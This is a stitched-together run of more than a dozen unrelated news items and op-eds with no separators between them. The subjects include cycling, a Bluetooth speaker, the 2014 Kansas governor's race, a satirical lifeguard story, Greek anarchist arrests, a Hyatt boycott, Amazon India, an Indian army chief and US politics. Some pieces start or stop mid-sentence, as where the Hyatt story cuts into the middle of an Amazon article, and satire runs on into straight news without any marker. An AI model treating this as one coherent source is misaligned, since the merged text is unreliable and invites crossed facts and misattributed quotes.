The world road race champion has had a mixed season thus far and is yet to clock up his first win in the rainbow jersey. However he states that he didn’t lose faith, and has build his condition steadily. “I always had confidence, I knew it [top form] was coming,” he told La Dernière Heure. “I know I've worked hard.”
He points to the difficulty of the Brabantse Pilj course as showing that he is on track. “On such a tough parcours, there is no way to evade it. It never lies, it is automatically the strongest riders who are ahead,” he said. “I had a great race, Greg [Van Avermaet] also.
“It is reassuring…I'm not 100% yet, but I should get in shape just in time…”
Gilbert made history two years ago when he became the first rider to win Brabantse Pijl, the Amstel Gold Race, Flèche Wallonne and Liège-Bastogne-Liège in the same season. He can’t repeat the same feat now, finishing second to Sagan in the first of those races, but he’d jump at the chance of taking the three Ardennes Classics.
Sagan is a big obstacle, though. Gilbert accepts that he was in very good shape this week, with his attack in the finale putting the Belgian under pressure. “I struggled to stay on his wheel,” he admitted. “It took me four or five metres, but he saw it.”
However he believes the gap between the two of them is not insurmountable. “If he was not already flat out, he would have accelerated. He could not do that, so I am not far off his form.”
While Sagan was quicker at the finish, Gilbert suggests that this was to be expected. “It’s always better to win, but Sagan is one of the quickest riders in the peloton,” he said. “He even beats Cavendish or Greipel in a sprint. I knew that I had little chance of finishing ahead of him, but I tried. I didn’t make a mistake.”
He’ll look at Sagan’s season thus far and the fact that the Cannondale rider has been in superb form for a long time. Normally riders can’t maintain a peak indefinitely and so providing the Slovakian doesn’t have even more in the tank, his condition should start to ebb soon.
He has said that he will ride the Amstel Gold Race and perhaps Flèche Wallonne before taking a break; Liège-Bastogne-Liège is not currently on his schedule, so Gilbert will hope to have a clear run there. He believes that his preparation will likely be better than his other rivals.
“I do not think those who raced for the win in the Basque Country, where it was really tough, will have recovered by then,” he said. “As for myself, I put in the time [riding the race at a high level to build condition, but not to go too deep – ed.], while guys like Valverde and Rodriguez were in training.”
He’ll consequently hope to hit his peak form right on time, starting with Sunday’s Amstel Gold. He’ll encounter Sagan again there and likely square up against him on the Cauberg, continuing their duel. This time, he’ll hope to have the edge.
If he does succeed, it’ll be a big scalp to take. “He is a phenomenon,” he said of his younger rival, being generous in his praise. “Having an athlete like this is very important for our sport, which is in crisis. He is full of confidence. I know what it is like, I’ve also known times where you succeed with everything.”V-MODA announced the newest member of its audio product portfolio today, the REMIX, the company's first Bluetooth speaker. It's available for purchase starting today and retails for $300. Measuring in at around 8 inches long and 1.6-1.9lbs (depending on which finish you chose), the speaker is portable, but not petite. At $300, the REMIX is at the top end of the price spectrum for mid-size Bluetooth speakers but V-MODA feels the price is justified by top-notch sound and a couple of unique features.
The most compelling feature the REMIX offers is something you won't find in any other speaker on the market. The speaker doubles as a headphone amplifier with 83mW x 2 output powerful enough to drive high-impedance headphones. As a headphone amplifier alone can cost $150-200 this is a pretty sweet feature that helps make the high price of the speaker more palatable if it's something you have use for.
As this is a V-MODA product, you will also be able to customize the REMIX with 3-D printed parts. The front grill and 'C-Shell' can both be swapped out and custom end caps can be fixed to either side to further personalize the look of the speaker. The custom parts range from $40 for a plastic front grill replacement to $370,000 for solid platinum end caps. Yeah, I don't think I'll be buying a set of those either.
Other, more pedestrian, features include speakerphone capabilities, 10 hours of battery life, the ability to connect multiple REMIX speakers together, and charging via USB Type-C (another first for a portable Bluetooth speaker). The REMIX is available with a silvery aluminum finish or covered in black vegan leather.
Interested? Then check out the promo video below for more info. Also, keep an eye out for my full review which I'll post in the next couple of weeks.Gov. Sam Brownback triumphed over Democrat Paul Davis late Tuesday, collecting 50 percent of the vote in a hard-fought race.
Brownback, who took plenty of hits on the campaign trail, entered the stage at his victory party in Topeka to the theme from the movie “Rocky” and joked that he felt as if he had just survived 15 rounds in a boxing match.
He kept his remarks to a crowd of joyous supporters brief.
“This is a great nation. This is a fabulous state. We’re going to make it even better,” he said. His supporters then broke out bottles of champagne.
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Davis, who had 46 percent of the vote with more than 90 percent of precincts reporting, conceded at around 11 p.m., when he and running mate Jill Docking appeared before a crowd of supporters in Lawrence.
Docking thanked supporters, donors and campaign volunteers.
“These young people have worked unbelievably hard. We had a small but mighty force, and I gotta tell you, we were the talk of the nation in large part because of all they’ve done,” she said.
Davis congratulated Brownback on his victory and thanked supporters.
“This was an intense and very competitive campaign where a clear division existed between what we thought Kansas needed to do to prosper in the coming years,” Davis said. “But the campaign is over. We have very real challenges to face as a state, and the only real way we can overcome these challenges is to face them together.”
He said running for governor was “one of the greatest experiences of my entire life.”
“While we fell just short of the outcome we wanted, I would do it all over again in a second.”
Libertarian candidate Keen Umbehr got 4 percent of the vote.
Close race
Brownback had trailed Davis in most polls since the early summer, although the race appeared to tighten in recent weeks.
Earlier in the evening, Brownback waited out the vote-counting at the Capitol Plaza Hotel in Topeka along with U.S. Sen. Pat Roberts and other GOP heavyweights.
Kelly Arnold, the state GOP chairman, said that party was “functioning at its most high-octane level we’ve ever had” and that the close races had caused volunteers to come out in droves to rescue Brownback from defeat.
Senate Majority Leader Terry Bruce, R-Hutchinson, said early on that he was cautiously optimistic but admitted that he hadn’t been so nervous about an election since he first ran for office.
By 10:30 pm, Bruce was more confident.
“I’m about ready to dance a jig,” he said.
Bruce said that Davis had “tried to run as ‘I’m not Sam Brownback.’ And in the end, that just isn’t enough for people.”
Carol Linnens – formerly Carol Rupe, a Wichita school board member – was in Lawrence on Tuesday with several friends to watch returns and cheer on Davis.
“There are dozens of reasons” she wanted Davis to win, she said. “But by far the most important would be for education – so we can get proper funding for our public schools.”
After the loss, Linnens said she was shocked and disappointed.
“One good thing, though,” she added. “If Brownback gets four more years, he has to deal with his own mess instead of Paul Davis inheriting his mess.”
‘Shot of adrenaline’
Brownback has contended his policies are working. The governor pushed for a bill that eliminated income taxes for certain businesses and sharply reduced rates across the board – a move he promised would be “a shot of adrenaline” to the Kansas economy.
The governor’s critics said the tax cuts have failed to generate economic growth but have wreaked havoc on the state’s budget.
The state faces a growing budget shortfall – currently estimated at $282 million by July 2016 – after it missed revenue projections by more than $20 million the past two months.
Brownback has said there is no budget problem and that he expects economic growth to replace revenue lost to the tax cuts. He points to the state’s low unemployment rate as proof that the economy is on the right path.
Davis had called for tax rates to be frozen at 2015 levels instead of allowing additional tax cuts to go into effect.
Question of conservatism
Bob Beatty, a political science professor at Washburn University, called Brownback the most conservative governor in modern Kansas history.
“This election, to me anyway, as soon as we get the results, we have an answer to that question: Is Kansas as conservative as everybody says? If Davis wins, no. If Brownback wins, then, yeah, looks like it is,” Beatty said before the outcome was known.
Brownback, who was elected to Congress in 1994 and served two terms in the U.S. Senate, was elected governor in 2010 by about 23 percentage points over Democrat Tom Holland.
On Tuesday morning, the political forecasting site FiveThirtyEight gave Davis an 80 percent chance of winning the tight race for governor.
The site, run by statistician Nate Silver, correctly predicted Barack Obama’s victories in the last two presidential elections and anticipated the winner of 36 of 37 governors’ races in 2010.
Despite the forecasts, the Brownback campaign struck a confident tone heading into the election, based on strong early voting numbers for the GOP.
“We feel confident that voters on Tuesday will see the clear choice they have between the conservative leadership of Sam Brownback and the liberal agenda and lack of details offered by Paul Davis,” John Milburn, the campaign’s spokesman, said Monday.
That confidence proved to be justified.
“This is freakin’ Kansas, man,” Ryan Gilliland, chief of staff to Senate President Susan Wagle, R-Wichita, said around the time it became clear Brownback would win. “I have a lot of respect for Nate Silver. But he doesn’t spend much time here.”
Wagle said there was a phenomenon of quiet conservatives, people that “don’t tend to get real involved in politics, much less put out a sign or answer the phone when a pollster calls.”
“But that group of people votes, and faith and family and economic opportunity is very important to them,” she said.
Carr ad
Brownback’s campaign pushed the issue of judicial selection during the final weeks of the campaign, airing a controversial ad that sought to tie Davis to a Kansas Supreme Court decision to overturn death sentences for Reginald and Jonathan Carr, who committed five murders in Wichita in 2000.
The Kansas Republican Party sent out mailers describing the details of the murders and accusing Davis of “endangering the safety of your family.”
Davis had no role in the Carrs’ appeals but supports the current merit-based selection process for judges. Clay Barker, the Kansas Republican Party’s executive director, defended the mailers and said Davis “repeatedly voted against reforming the court system, creating a more accountable court system.”
Chapman Rackaway, a professor of political science at Fort Hays State University, said the focus on the Carr decision stems from Sedgwick County’s position as a battleground in the race. Both campaigns aggressively targeted the Wichita area during the course of the campaign.
“I’m working off what I call the ‘two W’ theory. The breaks among women and Wichita will determine the winners of these races,” Rackaway said. “Either the Brownback campaign thought they were behind in Sedgwick County and they thought the Carr brothers were a good issue to bring up, or they saw an opportunity to expand their support.”
Brownback had a 3-point lead in Sedgwick County. The county saw a 51.1 percent turnout, slightly lower than in 2010.
Davis centered his campaign on education, calling for base education aid to be restored to pre-recession levels. His candidacy has got a boost from public school teachers upset with Brownback’s decision to sign a bill that increased school funding but also eliminated a state mandate for due process hearings before a teacher can be fired.
Brownback, on the other hand, saw the cavalry arrive in the form of the national Republican Party.
The Republican Governors Association spent $3.7 million on the race from the end of July through October. The organization’s chairman, New Jersey Gov. Chris Christie, frequently joined Brownback on the campaign trail, as did other rumored 2016 presidential contenders, such as Texas Gov. Rick Perry and Kentucky Sen. Rand Paul.BALTIMORE—Reluctant to transcend his station as a mere mortal and interfere with the vicissitudes of fortune, local lifeguard Blake Dunphy confided to reporters Tuesday that he found himself mentally shackled by the question of whether to save a swimmer currently thrashing for his life or allow destiny to take its course unfettered. “Though this man sputters and flails before my eyes and the path to his salvation lies readily before me, the broader question remains: Who am I, a mere earthly being of flesh and blood, to determine whether my fellow man lives or dies?” Dunphy mused, wondering if it was not, ultimately, the hand of fate that placed an inexperienced swimmer in the deep end in the first place. “Surely a decision of such existential import rests solely on the shoulders of an all-knowing, all-seeing god, which I certainly can’t in good conscience pretend to be. Furthermore, can it even be stated that I—or any being subject to divine decree—actually possess the free will to impel myself from this chair and rescue another, or are all such outcomes preordained by the stars themselves?” At press time, Dunphy was saved from the burden of choice by a mid-afternoon shift change.
AdvertisementEntrance to the show on Thursday morning was not as fast or as smooth as we wanted it to be and for that we are very sorry. We always try to strike a balance between safety and convenience and in that spirit we made some changes that we hope will make Friday and the rest of your Star Wars Celebration experience much better.
We are adding additional entrance points around the building that we believe will ease access to the building and make things smoother for you. We will continue to use the West Lobby E/F as our main entrance and we are also adding the C Lobby (right in the middle of the building) and the Westwood Lobby behind the building as additional entrance points for fans. That makes three different locations that will allow fans to enter the building instead of one. We are also adding additional will call/ticket pickup stations at each entrance location for those fans that need to pick up their tickets.
Doors to the main entrance at the West Lobby E/F will open at 5am and the two new additional entrances will open at 6am. Upon entering the building all fans will be directed to the Queue Hall for all Galaxy and Celebration stage panel wrist-banding and entrance to the show floor.
The Celebration Sleepover procedures for this evening will stay the same. Starting at 8pm the queue hall will open for fans planning on spending the night.
We thank you for your patience and we think these changes will help you get into the building faster for the rest of the weekend. May the Force be with you!We are at WAR. Political arrests and state terrorism
One day before the memorial of the assassination of Alexandros Grigoropoulos on December 6th, the Greek democratic dictatorship decided to activate in a tragicomic way its repression mechanisms in order to prevent the upcoming social uprising. All the regime’s servants are on the alert trying to manipulate the public opinion and terrorize the parts of the society that resist.
Last night (December 4th), the scums of the anti-terrorist squad raided various apartments and social spaces in Athens, Piraeus, Thessaloniki, Agrinio and Crete claiming that weaponry was found. The well-paid state media puppets set up feasts for the cop’s “success against terrorism”, producing hysteria and terror. 24 hours later, it was announced that the weaponry found have never been used in any attack.
After a full day of deliberate lack of information, in the evening of December 5th the police released the names and photos of the 6 persons arrested in Athens, Piraeus and Crete, asking “citizens” for more information… For the 2 of the 6 arrested persons, there were arrest warrants for the “Conspiracy of Cells of Fire” case.
The same night in Thessaloniki, secret cops and hooded cops of the anti-terrorist squad raid into the occupied anti-authoritarian space “Nadir” which is located in the students residencial hall of the University of Thessaloniki. They seized printed documents and computers, beat the people inside, while they detained and arrested 11 of them. Dozens of people in solidarity gathered outside the place. The cop’s raid followed after an attack to a private security guardhouse inside the University campus.
Also, cops blockaded streets in Agrinio, near the anarchist “Agrinio Haunt”. The electricity went off in the whole block with the excuse of the “anti-terrorism raids”.
The Greek Junta banned the basic right of the detainees to come into contact their lawyers, family and friends for more than 24 hours.
Τhe announcement of the defense counsel of one of the allegedly arrested is characteristic:
“What with certainty has, so far, been disarticulated are the right of the detainees and the potential to communicate with relatives and advocates. The absolute prohibition on the exercise of their fundamental rights, upon the completion of nearly 24 hours following their arrest, and the denial of confirmation of the names of the detainees, borders on rapture. Contempt is complemented by the usual method of selective leaks and communication manipulation of public opinion. And if all these are happening under the cover of the public prosecutor’s office, the coincidence of the mechanisms of repression not concerning protection, but in the abolition of the legal and constitutional order, is confirmed.
One day before the two years anniversary since the murder of Alexis Grigoropoulos, and while the whole society is in turmoil and is being prepared for mobilizations, the guilty State obviously needs to atone, to present successes and mainly to legitimize the authoritarianism which is being prepared for tomorrow’s anniversary.
Zero tolerance! No political and communication intentionality over rights and freedoms!
Athens, 5 of December of 2010, 12.00
The defense counsel of one of the alleged detainees”
Updates: read Kostas Sakkas’ letter from Nafplio prison and Christos Politis’ letter from Grevena prison
Apart from the yesterday’s raids, detains and arrests, state went on an another pre-emptive move prohibiting the passage of vehicles in the whole center of Athens (!), because of tomorrow’s demonstration on December 6th. In particular, the vehicles passage will stop from 10am on December 6th till 7am on December 7th, while the parking in central Athens is prohibited from 6am of December 6th till 7am on December 7th as you can see on the picture.
The students community and many anarchists/anti-authoritarian and far-left organizations are calling for gathering/demo in Propylea, central Athens. There are calls for demonstrations in more than 20 cities throughout Greece.
SOLIDARITY TO ALL POLITICAL PRISONERS
WE ARE AT WARWASHINGTON – A global boycott of Hyatt hotels was launched today at a press conference here by hotel workers, labor leaders, women’s rights activists, LGBT leaders, NFL football players, students, and others.
The boycott, the groups said, is in response to the hotel company’s abuse of workers and low wages. Unite Here, the hotel workers’ union, also announced that it will stage, this week, demonstrations and actions at Hyatt hotels in 20 U.S. cities, including Los Angeles, San Francisco, Chicago, Baltimore, Indianapolis, and Boston.
The boycott is the highest escalation thus far in a campaign for worker rights that has been going on for years with the union now describing Hyatt as the worst employer in the hotel industry.
Particularly galling to the labor movement and its allies has been Hyatt’s practice of replacing longtime employees with minimum wage temporary workers and the impositon of what workers say are dangerous and health-threatening workloads.
“In a unionized hotel the standard is to do 14 or 15 rooms a day but Hyatt has demanded in its non-union hotels that workers clean up to 26 to 32 rooms a day, doing marble floors on their |
Bank-backed Snapdeal.The deal would help Flipkart, which also counts South African media firm Naspers and Chinese Internet conglomerate Tencent as its backers, strengthen its market position. “As far as the level of investment is concerned, it is certainly one of our important investment areas. We see a lot of potential for the country and our business there,” Brian T Olsavsky, Amazon’s CFO, told analysts in response to a question on how the capital expenditure in India would affect the company’s global profitability.Amazon's global net sales rose 23% to $35.7 billion and net profit increased 41% to $724 million, marking the eighth straight quarter in which the company posted a net profit. The company cited data from comScore and SimilarWeb to say that Amazon.in was the most visited platform on both desktop and mobile devices. It also quoted app analytics firm App Annnie to claim that Amazon was India’s most downloaded shopping app.One of its key recent investment areas has been the Prime service. In July 2016, Amazon launched its Rs 499-per year subscription for Prime in the country, promising one-day and two-day deliveries in key cities. The service is sold in the US for $99. The Prime service launch was followed up with the introduction of Prime Video last quarter, and is the key programme for building customer loyalty. About 30% of the orders processed by Amazon India were attributed to users of the Prime programme, according to a company statement.“Our India team is moving fast and delivering for customers and sellers. The team has increased Prime selection by 75% since launching the program nine months ago, increased fulfillment capacity for sellers by 26% already this year, announced 18 Indian Original TV series, and just last week introduced a Fire TV Stick optimized for Indian customers with integrated voice search in English and Hindi,” Bezos said. His statement might also be a signal to new competitors and strategic investors seeking to enter the sweepstakes for online retail, which is expected to reach $50-60 billion by 2020 from about $16 billion now, analysts said.“As there is a lot of news in the market on the entry of new rivals, the statement by Bezos is Amazon's way of saying they are serious about India and are in this for the long term. The numbers shared by Amazon on downloads and increases in the consumer segment would also serve as signals to the competition,” said Satish Meena, senior forecast analyst at market research firm Forrester Inc. He added that Amazon’s investments in India can be broken down into three buckets—the retail business; the grocery sector for which Amazon is awaiting government approval; and the content development business for the Prime programme. It has already invested Rs 11,638 crore (about $1.8 billion) in the main India unit, Amazon Seller Services.Amazon has also spent aggressively in expanding its fulfilment centres, building 34 of them across 10 states in India. The platform has close to 140,000 sellers, up 160% over calendar 2016. Warehouses, fulfillment services, service-provider network, in-person support, and other services such as seller cafes and instant registration to its marketplace would be potential areas of investment, Amazon India director and general manager (seller services) Gopal Pillai had told ET earlier. ET reported earlier this week that Amazon was selling nearly as many items as did Flipkart, although the Indian retailer outscored on the value of goods sold.It must be abundantly clear why Gen VK Singh today finds himself in an unholy mess. He has violated the Omerta Code of the Power Circle. The one that dictates that once you’ve made it to the posh club of power insiders, you don’t talk about some things, such as the gravy train that everyone rides on and feeds off.
In the posh clubs where liveried waiters hover like friendly ghosts, and where moustachioed Generals and netas in their pressed bandhgalas and babus in their pin-stripe suits guffaw and talk pussy over their Patiala pegs, it is taboo to talk about money. Particularly the kind of obscene money that everyone gets a fair share of when deals are finalised.
Into that posh club, Gen VK Singh has blundered in like a barefoot dehati.
And, worse, he declines gratuitous invitations from fellow officers for him to become “one of them” by getting suited-booted up, refuses to clamber aboard their gravy train and help himself to the goodies – and, horror of horrors, goes so far as to initiate investigations into their own conduct unbecoming of officers. All this merely because they played by the “jobs for the boys” rules of the Power Club, and feathered their own nests.
And now, he has begun focusing his Sauron eye on serving officers, who are in line to become Army Chief. Is the man mad, they wonder. How did we ever let him into the club, they fret.
Of course, there have been – and continue to be – honest men in the uniformed services, just as there are honest men in politics and in the civil service. But even when they themselves are scrupulously clean, they have all along abided by the Omerta Rule: even when they knew that other officers and netas and babu were pigging out on the trough, they chose to look the other way. Why blow the whistle and invite trouble, and risk losing their honour and their well-earned pension and the prospect of being invited to head some committee or a thinktank in the future?
Which is why the retired Lieutenant General whom Gen VK Singh accused of offering him a bribe cannot get his head around the fact that there are still a few good men in uniform. “Army chiefs before you have accepted money, and army chiefs after you will, so why do you not?” he asked Gen VK Singh, when he made the offer of a Rs 14 crore bribe.
Today, Gen VK Singh, close to retirement and perhaps sensing that he has been robbed of his dignity in the battle with the government over his date of birth, has gone rogue. He has broken the Omerta Code of silence and is telling the world of the horrors he has seen within the Army fortresses. And it isn’t a pretty picture.
Fellow officers are shaking their heads and tut-tutting into their Scotch on the rocks. Why rock the boat, they ask him. Why invite inglorious attention to what we’ve tucked away out of sight –and put on a show of glorious make-believe? Why, oh why, can’t you just look away?
The political establishment in its entirety is equally appalled. The General has become a guerilla warrior, they thunder. He ought to abide by the code, yield to civilian supremacy, and either stay silent or be sacked. In the same way that they rubbished Team Anna’s campaign against corruption last year and continued with their rollicking party in Parliament, they have ganged up against Gen VK Singh. In words eerily reminiscent of last year (in the context of Anna Hazare’s campaign), Lalu Prasad Yadav wonders if Gen VK Singh is angling for a career in politics.
And what of the media and sections of civil society? They too have their ‘angles’: Gen VK Singh’s motives are suspect, they say. Why did he not act in all the time that he was in office, why now, they wonder. In the same way that they turned on Team Anna and made mincemeat of that campaign, they are shredding Gen VK Singh to pieces – when, in fact, the focus then and now should have been on the sky-high corruption that they exposed.
It’s a bizarre, perverted world if we are asked to tolerate the status quo, even when we know it to be venal, merely because the alternative – of shaking things up — makes us queasy. Because it violates Section 2, Subsection 3(a) of the club rules.
For sure, Gen VK Singh has gone rogue. But I say: more power to you, Gen Singh. Even if, as some have suggested, you are doing it only for megalomaniacal reasons — or out of a sense of pettiness. Even though I can’t quite understand why you waited until now to say these things, I’m just plain glad you are saying them at least now.
Any self-respecting civilian government or military force or civil society ought to be celebrating Gen VK Singh for being a true warrior and taking on the Enemy Within. The problems that he highlights are our collective problems. Those problems have turned us into a banana republic far more than anything Gen Singh has done in severing the cosy, comfortable, clubby relationship between the military and the civilian administration.
If what it takes to get us to even talk about the colossal mess we are in is for Gen Singh to shake the government and our civil society out of our stupor, more power to him!
Firstpost is now on WhatsApp. For the latest analysis, commentary and news updates, sign up for our WhatsApp services. Just go to Firstpost.com/Whatsapp and hit the Subscribe button.WASHINGTON (CNN) -- One day after President Obama ripped Wall Street executives for their "shameful" decision to hand out $18 billion in bonuses in 2008, Congress may finally have had enough.
"You can't use taxpayer money to pay out $18 billion in bonuses," an angry Sen. Claire McCaskill says.
An angry U.S. senator introduced legislation Friday to cap compensation for employees of any company that accepts federal bailout money.
Under the terms of a bill introduced by Sen. Claire McCaskill, D-Missouri, no employee would be allowed to make more than the president of the United States.
Obama's current annual salary is $400,000.
"We have a bunch of idiots on Wall Street that are kicking sand in the face of the American taxpayer," an enraged McCaskill said on the floor of the Senate. "They don't get it. These people are idiots. You can't use taxpayer money to pay out $18 billion in bonuses." Watch McCaskill's heated words »
McCaskill's proposed compensation limit would cover salaries, bonuses and stock options.
On Thursday, Obama said the prospect that some of the $700 billion Wall Street bailout could end up paying for bonuses to managers of struggling financial institutions was "shameful."
The president said it was the "height of irresponsibility" for executives to pay bonuses when their companies were asking for help from Washington.
"The American people understand we've got a big hole that we've got to dig ourselves out of, but they don't like the idea that people are digging a bigger hole even as they're being asked to fill it up," Obama added.
McCaskill's proposal comes three days after struggling banking giant Citigroup -- which has taken about $45 billion from the government's Troubled Asset Relief Program -- reversed plans to accept delivery of a $42 million corporate jet. The company changed its mind under Treasury Department prodding.
Former New York Mayor Rudy Giuliani defended corporate bonuses Friday, saying that cutting them also means slashing jobs in the Big Apple.
"If you somehow take that bonus out of the economy, it really will create unemployment," he said on CNN's "American Morning." "It means less spending in restaurants, less spending in department stores, so everything has an impact."
All About Claire McCaskill • Barack ObamaRepublican National Committee Chair Reince Priebus, who is set to serve as Donald Trump’s chief of staff, on Monday morning defended Steve Bannon, a voice of the alt-right who will serve as Trump’s chief strategist and senior counsel, during an interview on MSNBC’s “Morning Joe.”
“That’s not the Steve Bannon that I know. and I’ve spent a lot of time with him and here’s a guy that’s a Harvard business school, London school of economics. Ten-year naval officer advising admirals. He was a force for good on the campaign at every level that I saw all the time,” Priebus told “Morning Joe” when first asked about concerns about Bannon.
“This is all about achieving President-elect Trump’s agenda. And I can assure you and I think it’s important and I know President-elect Trump wants everyone to understand this, all Americans out there, no matter your race, your gender, your ethnic background, he wants to make you proud of our country, he wants to serve you,” he added.
When asked again about Bannon and the “hatred” that he has stoked, Priebus called on Americans not to judge Bannon.
“I think everyone out there can agree that you judge people as you see them, not as other people have said,” Priebus said. “That’s what I would say is that it’s what people do. It’s how people act on a day-to-day basis. And that’s nothing I’ve ever seen. I’ve only seen a generous, hospitable, wise person to work with. So at the end of the day, this campaign worked because factions within our party were represented.”
He added that Trump “listens to a lot of people.”
“If anyone thinks I’m the only one that’s going to walk in to that office and say, this is what you have to do, I think in a lot of cases, he takes the advice,” Preibus said. “But he likes to listen to a lot of people. That’s a good thing. That’s what you want from a president.”
Trump brought on Bannon, a former executive news website Breitbart, as CEO of his campaign in August. While Bannon led Breitbart, the site promoted anti-immigrant and anti-Muslim stories, and Bannon boasted that the website was a “platform for the alt-right.”. The site once called Weekly Standard editor Bill Kristol a “renegade Jew.” And Bannon himself has allegedly used anti-Semitic slurs, according to his ex-wife.
A former Breitbart staffer, Ben Shapiro, criticized Bannon for giving a voice to white nationalists.
“Breitbart has become the alt-right go-to website, with Yiannopoulos pushing white ethno-nationalism as a legitimate response to political correctness, and the comment section turning into a cesspool for white supremacist mememakers,” Shapiro wrote after he left Breitbart.
Watch Priebus’ interview via MSNBC:The court allowed that for that infraction, a civil servant could be subject to disciplinary penalties, but not criminal prosecution.
The ability to solicit favors from someone in a higher place, be it the post office manager, the minister's cousin, or the chief of surgery's butcher, is all part of the Italian art of getting things done. The raccomandazione has been the oil of Italian society since the Roman Empire. Terzo Maffei, a retired pharmaceutical company executive who in 1984 published a vast collection of Italian letters of recommendation, ranging from pleas on behalf of Puccini to intercessions by Gabriele D'Annuzio, said the practice was even more ancient.
''Cicero,'' he said admiringly, ''was a great raccomandatore.'' The custom is so ingrained in Italian culture that entire books and movies have been devoted to the subject, including a 1984 satirical film starring Giancarlo Giannini, entitled, ''Picone Sent Me.''
Or, as the same court put it when it overturned a similar conviction in 1992, ''the seeking of a recommendation is by now so deeply rooted in our culture that most people believe it is an indispensable tool when seeking even that to which they are entitled.''
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The custom of recommending a friend's son or a son's friend reached its apex under the many governments of Giulio Andreotti, a wily political operator whose talent for dispensing favors was legendary, but perhaps over-solicited. The raccomandazione, he once complained, ''is like when a spectator at the stadium rises to his feet to see better and everyone else rises up with him.''
The former prime minister, now 82, was acquitted in 1999 on charges that he extended his patronage to the Sicilian Mafia. A judge in Palermo today postponed a new trial sought by prosecutors intent on appealing his acquittal, saying the court had more pressing cases to hear.
A survey released this week that was conducted among high school seniors in Sicily, where the unemployment rate hovers at 20 percent, suggested that the custom was not fading fast. More than a third of the young people interviewed said they would have to rely on a raccomandazione for a job. Fourteen percent said they would be willing to turn to the Mafia for help.
There have been a few efforts to curb the habit. Maretta Scoca, a former member of Parliament, tried to submit legislation in 1998 to make it illegal for public servants to make or accept raccomandazioni, but she could not persuade any of her colleagues to co-sign her bill. ''Not only did I not find others who wanted to denounce the practice as scandalous,'' she said, somewhat bitterly. ''I was treated with impatience.''
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Giuliano Ferrara, the editor of an irreverent conservative daily paper, Il Foglio, said the Italian reliance on using one's friends in high places was rooted in the highly centralized political system, as well as Italy's thick layers of bureaucracy. ''Say I want to remove a trash container that is too near my villa in Tuscany,'' he said. ''I can petition the mayor and town councilors with letters and phone calls, or I can call up a friend of the mayor. Which do you think is faster and easier?''
The prevalence of raccomandazioni rarely causes a stir, but it created a small to-do last year, when Gad Lerner, one of Italy's best-known television journalists, resigned as head of a top news program of RAI, Italy's state-controlled television network. Mr. Lerner resigned after his news program broadcast graphic footage of children being molested by pedophiles. On his way out, Mr. Lerner went on the air to apologize to viewers, but he also lashed out at a right-wing member of Parliament, Mario Landolfi, head of a parliamentary commission that oversees RAI, complaining that the politician had slipped him a note after a dinner meeting with the name of a journalist, and asked Mr. Lerner to find his protégé a job.
Mr. Landolfi denied the charge, and the incident blew over. Mr. Ferrara pronounced Mr. Landolfi guilty mostly of ''bad taste.''
If there is concern over the culture of raccomandazione it mainly seems to be a lament over a loss of style. ''In the 18th century, the letters were more convincing -- they were beautifully written to render the request more agreeable to the recipient,'' Mr. Maffei noted wistfully. ''After the war, letters of recommendation became more banal, form letters written by secretaries. There is no more beautiful prose.''David Israelite, head of the National Music Publishers Association, argues that the Dept. of Justice's recent pre-holiday decision is tone deaf at best, disastrous at worst.
The Department of Justice (DoJ) has dealt a massive blow to America's songwriters. After a two year review of the consent decrees that govern ASCAP and BMI, career lawyers who were never elected nor confirmed to their positions, led by a lawyer who previously represented Google, determined that songwriters should have even fewer rights, less control over their intellectual property and be treated more unfairly than they already are. The Department ignored the voices of copyright experts, members of Congress and thousands of songwriters and delivered a huge gift to tech companies who already benefit from egregiously low rates.
When the DoJ began its review of the consent decrees, songwriters and publishers hoped for modifications and relief in the face of dramatic market changes to performance rights licensing which made it clear that fair royalty rates were not being paid. At best, we had hoped that the WWII-era decrees would be done away with to permit songwriters the same freedom to license works as other property owners enjoy. At worst, the decrees would be updated to reflect the current digital marketplace and give songwriters and publishers more flexibility to negotiate market-driven rates with global digital services. After all, the consent decrees were put in place before the transistor radio was invented. They were never meant to, nor could they envision, existing in a world of iPhones, streaming and instant access to practically all music.
Unfortunately, the DoJ went the opposite direction and chose the outcome most harmful to songwriters and the creative community.
The Department has determined that no changes will be made to the current decrees. And they have also now interpreted those decrees to demand that all works must be licensed on a 100 percent basis, meaning that the traditional and logical practice of fractional licensing -- or licensing only the share of a song a PRO represents -- by ASCAP and BMI will be done away with.
Regardless of how one feels about the profession of songwriting and the innate right a creator has to control their creation, any legal body should be deferential to the office created to examine and advise on copyright law. That body, the U.S. Copyright Office, was asked to weigh in on the DoJ's proposed changes, and said that, "an interpretation of the consent decrees that would require these PROs to engage in 100-percent licensing presents a host of legal and policy concerns. Such an approach would seemingly vitiate important principles of copyright law, interfere with creative collaborations among songwriters, negate private contracts, and impermissibly expand the reach of the consent decrees." The defiance displayed by these career antitrust lawyers in ignoring the legal opinion of the Register of Copyright is shocking.
In addition to disregarding the Copyright Office, the manner in which the decision was made and delivered was insulting to those most invested in the futures of songwriters. Members of Congress who had expressed interest in knowing the outcome of the review were apparently caught off guard and not given the chance to appeal to the Department. They were simply alerted that a determination had been made and given no recourse to reason with the DoJ.
Congressman Doug Collins of Georgia's office said that the DoJ "sent an email to Congressional staff assuring that the review was not complete and that parties and stakeholders would have a chance to provide their views before the review was completed. However, reports from the meeting and DoJ's own positioning appear to indicate that DoJ has already determined what direction they will take." Additionally, Congressman Collins stated that the "Department of Justice's position is arrogance at its worst."
This move also threatens transparency because while songwriters may have chosen to join one PRO, now their payments may be coming from another. And if each PRO can license an entire song, even if it only controls a small portion of it, then licensees may have the ability to license where rates are lowest in a royalty race-to-the-bottom.
The DoJ does not have the protection of songwriters in their interest, so we must take this to another forum. Public opinion is powerful and the antitrust attorneys at DoJ must understand that their decisions will have a ripple effect through the fields of creativity for decades. In the coming weeks and months, it will be more important than ever to express the problems associated with the Department's declaration, which was conveniently disclosed just before the holiday weekend.
As we've come to know all too well, Washington bureaucrats should not be in the business of regulating music as they are neither capable of understanding or fixing the problems they've created. We are hopeful that through our upcoming conversations, our allies in Congress who support the creative community, and ultimately the voices of those most affected, the creators themselves, we can find a path forward. Until then, there will be no justice for America's songwriters.
David Israelite is the President and CEO of the National Music Publishers' Association (NMPA). Founded in 1917, NMPA is the trade association representing all American music publishers and their songwriting partners.Bitcoin UK’s Most Popular Investment Platform to Offer Bitcoin
UK’s most popular investment platform, Hargreaves Lansdown, will soon allow its clients to invest in Bitcoin.
Hargreaves Lansdown
Hargreaves Lansdown, the administer £70bn of investor money with 876,000 clients, has announced it will allow customers access to invest in Bitcoin.
